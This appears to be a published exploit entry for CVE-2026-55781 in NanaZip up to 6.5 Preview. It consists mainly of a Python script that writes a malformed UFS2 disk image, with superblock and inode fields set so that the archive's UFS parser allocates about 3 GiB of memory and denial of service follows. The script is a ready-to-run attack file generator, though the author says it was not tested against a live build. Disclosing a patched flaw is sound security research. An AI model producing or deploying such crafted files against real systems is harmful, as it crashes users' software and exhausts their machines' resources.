NanaZip 6.5 – DoS
# Exploit Title: NanaZip 6.5 - DoS # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/M2Team/NanaZip # Software Link: https://github.com/M2Team/NanaZip/releases # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0) # Tested on: Windows # CVE: CVE-2026-55781 # Category: dos # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55781-NanaZip An attacker-controlled fs_bsize field in a crafted UFS image drives an unbounded allocation in the NanaZip.Codecs UFS handler before any bounds check. NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but was not executed against a running build. Benign — it only generates the malformed carrier file. --- PoC generator (GHSA-m34h-jf84-m74h.py) --- #!/usr/bin/env python3 # PoC generator: unbounded memory allocation in NanaZip's UFS parser # (GHSA-m34h-jf84-m74h). # # A 66912-byte UFS2 image. The superblock at SBLOCK_UFS2 (65536) sets # fs_bsize = 0x40000000 (1 GiB); Open() only enforces the lower bound MINBSIZE. # Root inode #2 sits at GetInodeOffset(2) = (fs_iblkno=0)*fs_fsize + 2*256 = 512 # with di_size = 1 TiB, so GetInodeInformation() overruns its 12 direct blocks # and allocates three 1 GiB indirect buffers (NanaZip.Codecs.Archive.Ufs.cpp: # 435-437) -> ~3 GiB. All superblock field offsets below are the real offsetof() # values from NanaZip's bundled FreeBSD/fs.h (struct fs, little-endian). import struct SB, SBSIZE = 65536, 1376 img = bytearray(SB + SBSIZE) # --- root inode #2 at file offset 512 (ufs2_dinode) --- struct.pack_into("<H", img, 512 + 0, 0x4000) # di_mode = IFDIR struct.pack_into("<h", img, 512 + 2, 1) # di_nlink = 1 struct.pack_into("<Q", img, 512 + 16, 0x10000000000) # di_size = 1 TiB # --- superblock @ 65536 (offsets = offsetof(struct fs, ...)) --- struct.pack_into("<i", img, SB + 16, 0) # fs_iblkno struct.pack_into("<I", img, SB + 44, 1) # fs_ncg struct.pack_into("<i", img, SB + 48, 0x40000000) # fs_bsize (1 GiB) struct.pack_into("<i", img, SB + 52, 1) # fs_fsize struct.pack_into("<i", img, SB + 56, 1) # fs_frag struct.pack_into("<i", img, SB + 104, SBSIZE) # fs_sbsize (>= sizeof(fs)) struct.pack_into("<q", img, SB + 1000, SB) # fs_sblockloc = SBLOCK_UFS2 struct.pack_into("<I", img, SB + 184, 16) # fs_ipg struct.pack_into("<i", img, SB + 188, 0) # fs_fpg struct.pack_into("<i", img, SB + 1320, 0) # fs_maxsymlinklen struct.pack_into("<I", img, SB + 1372, 0x19540119) # fs_magic = FS_UFS2_MAGIC with open("poc.img", "wb") as f: f.write(img) print(len(img), "bytes ->", "poc.img") |